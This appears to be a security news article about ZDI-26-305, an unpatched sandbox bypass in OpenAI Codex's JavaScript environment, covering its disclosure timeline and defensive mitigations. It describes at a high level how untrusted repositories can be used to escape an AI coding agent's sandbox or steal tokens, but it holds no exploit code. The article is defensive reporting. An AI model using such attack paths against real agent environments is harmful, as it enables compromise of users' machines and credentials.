ZDI publishes OpenAI Codex sandbox bypass as a zero-day

TL;DR

---

Trend Micro’s Zero Day Initiative published a sandbox bypass vulnerability in OpenAI Codex as ZDI-26-305.

According to ZDI, the issue lies in Codex’s JavaScript execution environment.
Insufficient isolation of the sandboxed context means that if Codex processes a repository containing malicious JavaScript, an attacker can escape the sandbox and execute code under the current user’s privileges.

CVSS is 8.6.
The vector is AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H — local attack requiring user interaction, with scope change and high impact on confidentiality, integrity, and availability.

Just feeding an untrusted repo breaks the boundary

The precondition is that the target user processes a repository containing malicious JavaScript with Codex.
This is not a drive-by attack that fires automatically like in a web browser.

But for AI coding agents, this precondition is fairly realistic.
”Look into this OSS,” “review this PR,” “figure out why this repro repo crashes” — these everyday tasks are exactly the act of loading untrusted code into the agent’s execution environment.

Codex’s sandbox is described as the boundary that absorbs this risk.
OpenAI’s official documentation explains the sandbox as a constrained environment for local command execution — not full access — defining what file modifications and network usage are allowed.

The point of this advisory is therefore not “running dangerous code is dangerous,” but that the boundary designed to handle dangerous code breaks due to insufficient isolation in the JavaScript execution environment.

OpenAI ruled it out of scope after confirming reproduction

The ZDI timeline looks like this:

Date	Event
2026-02-24	ZDI reported to OpenAI
2026-02-25	OpenAI acknowledged receipt
2026-03-05	OpenAI requested technical clarification
2026-03-09	ZDI provided additional information
2026-04-06	OpenAI confirmed the issue is reproducible
2026-04-13	OpenAI rejected as out of scope for the bug bounty
2026-04-13	ZDI stated the bounty was not needed and asked for a fix date
2026-04-13	OpenAI responded that it is “not a default Codex product surface”
2026-04-17	ZDI notified intent to publish as a zero-day
2026-04-28	ZDI published

The odd part is that OpenAI confirmed the behavior is reproducible, yet treated it as out of scope rather than moving to fix it.
From ZDI’s text alone, it is not clear which Codex surface is affected — CLI, app, cloud environment, or a specific JavaScript execution feature.

OpenAI’s explanation that it is “not a default Codex product surface” is also ambiguous from the user’s perspective.
Whether only users who enabled non-default settings are affected, or this concerns an internal non-public surface, cannot be determined from the published advisory alone.

Codex’s trust model is built on its sandbox

As covered in a previous comparison of Hooks in AI coding CLIs, Codex CLI’s design leans toward constraining behavior through approval policies and OS-level sandboxing rather than hooking arbitrary processes.
The approach relies on Seatbelt on macOS, bubblewrap and seccomp on Linux, and WSL2 or native sandboxing on Windows.

OpenAI’s current documentation specifies that workspace-write mode requires approval for network access and editing outside the workspace, and that danger-full-access and --dangerously-bypass-approvals-and-sandbox should be used with caution.
The enforced outer boundary is what makes it possible to let the agent run commands with a degree of autonomy.

If part of that boundary fails in the JavaScript execution environment, the actual risk changes even though the settings UI or CLI flags look safe.
Especially in setups combining --ask-for-approval never with long-running sessions, there is little opportunity for a human to spot and stop anomalous commands.

Different attack surface from the previous Codex vulnerability

In late March, a separate issue was disclosed where branch-name command injection in OpenAI Codex could steal GitHub tokens.
That issue is covered in Claude Code full source exposed via npm; OpenAI Codex token-theft flaw.

The previous issue was an input sanitization failure where branch names were passed to shell commands.
ZDI-26-305 concerns sandbox context isolation within the JavaScript execution environment.
Both share the condition of “an agent processing an untrusted repository,” but the broken layer is different.

flowchart TD
    A[Untrusted repository] --> B[Codex analyzes/executes]
    B --> C{Attack surface}
    C --> D[Input handling<br/>e.g. branch names]
    C --> E[JavaScript runtime]
    D --> F[Command injection<br/>GitHub token theft]
    E --> G[Sandbox bypass<br/>user-privilege execution]

This distinction matters operationally.
Input sanitization issues can be addressed with targeted fixes — rejecting suspicious branch names, validating task-creation API arguments, and so on.
A sandbox context isolation failure means reconsidering the execution environment boundary itself.

The only available countermeasure is external isolation

ZDI lists only one mitigation: restrict interaction with the product.
No patch, configuration change, detection rule, or affected version information has been published.

If you continue using Codex, these are the minimum steps:

Countermeasure	What it covers
Do not feed untrusted repositories to Codex	Eliminates the precondition for this issue
Avoid danger-full-access	Prevents widening the blast radius beyond the sandbox
Do not use --ask-for-approval never with untrusted code	Preserves a human’s chance to stop anomalous execution
Run Codex inside a Dev Container or VM	Even if Codex’s internal boundary breaks, prevents direct access to the host
Keep SSH keys and cloud credentials out of the container	Reduces what can be stolen after user-privilege execution
Allowlist network access	Limits exfiltration and retrieval of additional payloads

OpenAI’s documentation also notes that even when an external isolation boundary is set up with Docker, running with danger-full-access means Codex credentials inside the container can still be stolen.
In other words, “container equals safe” does not hold — the design must extend to “do not put anything worth stealing inside the container.”

As noted in macOS sandbox-exec vs. Windows sandbox for AI agent local isolation, AI agent safety depends not on model intelligence but on the boundaries around processes, file systems, networks, and credentials.
When the product’s own sandbox boundary is uncertain, adding another layer outside is the only option.

What remains unknown

Many points remain unclear:

Unknown	Comment
Affected Codex surface	Whether it is the CLI, IDE extension, app, or cloud environment cannot be determined from the ZDI text
Affected versions	No version numbers in the advisory
PoC availability	Not published
Exploitation in the wild	Neither the ZDI advisory nor Japanese tech press report any actual exploitation
OpenAI’s fix timeline	No confirmation in public information

Codex Security is positioned as a product that uses sandbox-based verification to reduce false positives in vulnerability detection.
A previous article on why Codex Security does not produce SAST reports covered that verification phase as a key selling point.

The same vendor’s coding agent now has an unpatched zero-day related to sandbox boundary isolation.

References

• ZDI-26-305 | Zero Day Initiative
• Sandbox - Codex | OpenAI Developers
• Agent approvals & security - Codex | OpenAI Developers